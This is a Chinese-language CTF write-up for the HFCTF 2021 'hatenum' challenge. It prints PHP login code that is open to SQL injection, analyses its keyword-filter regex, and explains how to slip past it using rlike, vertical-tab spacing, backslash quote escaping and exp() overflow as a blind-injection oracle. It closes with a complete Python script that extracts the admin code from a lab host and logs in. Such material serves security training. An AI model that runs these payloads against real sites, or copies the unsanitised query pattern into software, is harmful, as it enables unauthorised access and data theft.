[HFCTF 2021 Final]hatenum 题解 代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php error_reporting (0 );session_start ();class User { public $host = "localhost" ; public $user = "root" ; public $pass = "123456" ; public $database = "ctf" ; public $conn ; function __construct ( ) { $this ->conn = new mysqli ($this ->host,$this ->user,$this ->pass,$this ->database); if (mysqli_connect_errno ()){ die ('connect error' ); } } function find ($username ) { $res = $this ->conn->query ("select * from users where username='$username '" ); if ($res ->num_rows>0 ){ return True; } else { return False; } } function register ($username ,$password ,$code ) { if ($this ->conn->query ("insert into users (username,password,code) values ('$username ','$password ','$code ')" )){ return True; } else { return False; } } function login ($username ,$password ,$code ) { $res = $this ->conn->query ("select * from users where username='$username ' and password='$password '" ); if ($this ->conn->error){ return 'error' ; } else { $content = $res ->fetch_array (); if ($content ['code' ]===$_POST ['code' ]){ $_SESSION ['username' ] = $content ['username' ]; return 'success' ; } else { return 'fail' ; } } } }function sql_waf ($str ) { if (preg_match ('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str )){ die ('Hack detected' ); } }function num_waf ($str ) { if (preg_match ('/\d{9}|0x[0-9a-f]{9}/i' ,$str )){ die ('Huge num detected' ); } }function array_waf ($arr ) { foreach ($arr as $key => $value ) { if (is_array ($value )){ array_waf ($value ); } else { sql_waf ($value ); num_waf ($value ); } } }
过滤分析 1 2 3 4 5 6 7 8 9 10 11 function sql_waf ($str ) { if (preg_match ('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i' , $str )){ die ('Hack detected' ); } }function num_waf ($str ) { if (preg_match ('/\d{9}|0x[0-9a-f]{9}/i' ,$str )){ die ('Huge num detected' ); } }
第一个sqlwaf基本上把能用的sql注入方法禁用了,他在登录时有三种情况,登录成功、登录失败和发生错误,这里可以用错误盲注
exp函数 1、MySQL中的exp()函数用于将E提升为指定数字X的幂,这里E(2.718281 …)是自然对数的底数,exp()函数在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息
2、这里注入利用的是Double溢出,exp(x) 含义为e的x次方,当x>709时就超过了double的取值范围造成报错输出
3、我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 Double 数组范围,从而报错输出
绕过分析 我们来进行绕过关键字
盲注通常会用到以下几个关键字:
字符串截取类(substr)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)
字符串截取类 禁用:substr、left、right、mid
绕过: like、rlike、instr
其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符,like可以近似于”=”
语句分割 禁用: 空格、r(%0d)、n(%0a)、t(%09)、/**/
语句之间分割常常使用空格
绕过: %a0( )、%0b(垂直制表符)、%0c(换页符)
逻辑运算 禁用: and、or、=、>、<、regexp
绕过: &&、||、 like、greatest、least
条件判断 禁用: 因为禁用了,,所以if 语句没法使用
exp()函数除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句
即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错
解题 SQL语句拼接 1 $res = $this ->conn->query ("select * from users where username='$username ' and password='$password '" );
在过滤我们传入的数据后拼接到SQL语句当中,由于把单引号过滤了,这里无法使用单引号对其进行闭合,所以这里我们把username 设置为\从而把后面的单引号取过来利用,然后把password 设置成||1 &&()#
这样sql语句就变成了
1 2 select * from users where username= ’\’ and password= ’|| if(....)#’; username= \’ and password=
构造payload 接下来就是在password后边的判断处注入我们的payload,
1 payload=f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(ch+a)} ))#" .replace(" " ,chr (0x0b ))
由于代码对数字进行的长度限制,这里我们只能三个三个的进行正则匹配,若匹配成功则回显fail,失败则是error
最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport string url = "http://40004396-7df7-41d5-970d-85741f792101.node4.buuoj.cn:81/" all_chr = string.ascii_letters + string.digits + "" def gethex (raw ): ret = '0x' for i in raw: ret += hex (ord (i))[2 :].rjust(2 , '0' ) return ret end = "" a="^" for i in range (24 ): for ch in all_chr: payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(a + ch)} ))#" .replace(' ' , chr (0x0b )) data = {"username" : "\\" , "password" : payload, "code" : "" } req = requests.post(url + "/login.php" , data=data, allow_redirects=False ) if 'fail' in req.text: end += ch print (a+ch, end) if len (a) == 3 : a = a[1 :] + ch else : a += ch break data = { "username" : "\\" , "password" : "||1#" , "code" : "erghruigh2uygh23uiu32ig" } req = requests.post(url + "/login.php" , data=data)print (req.text)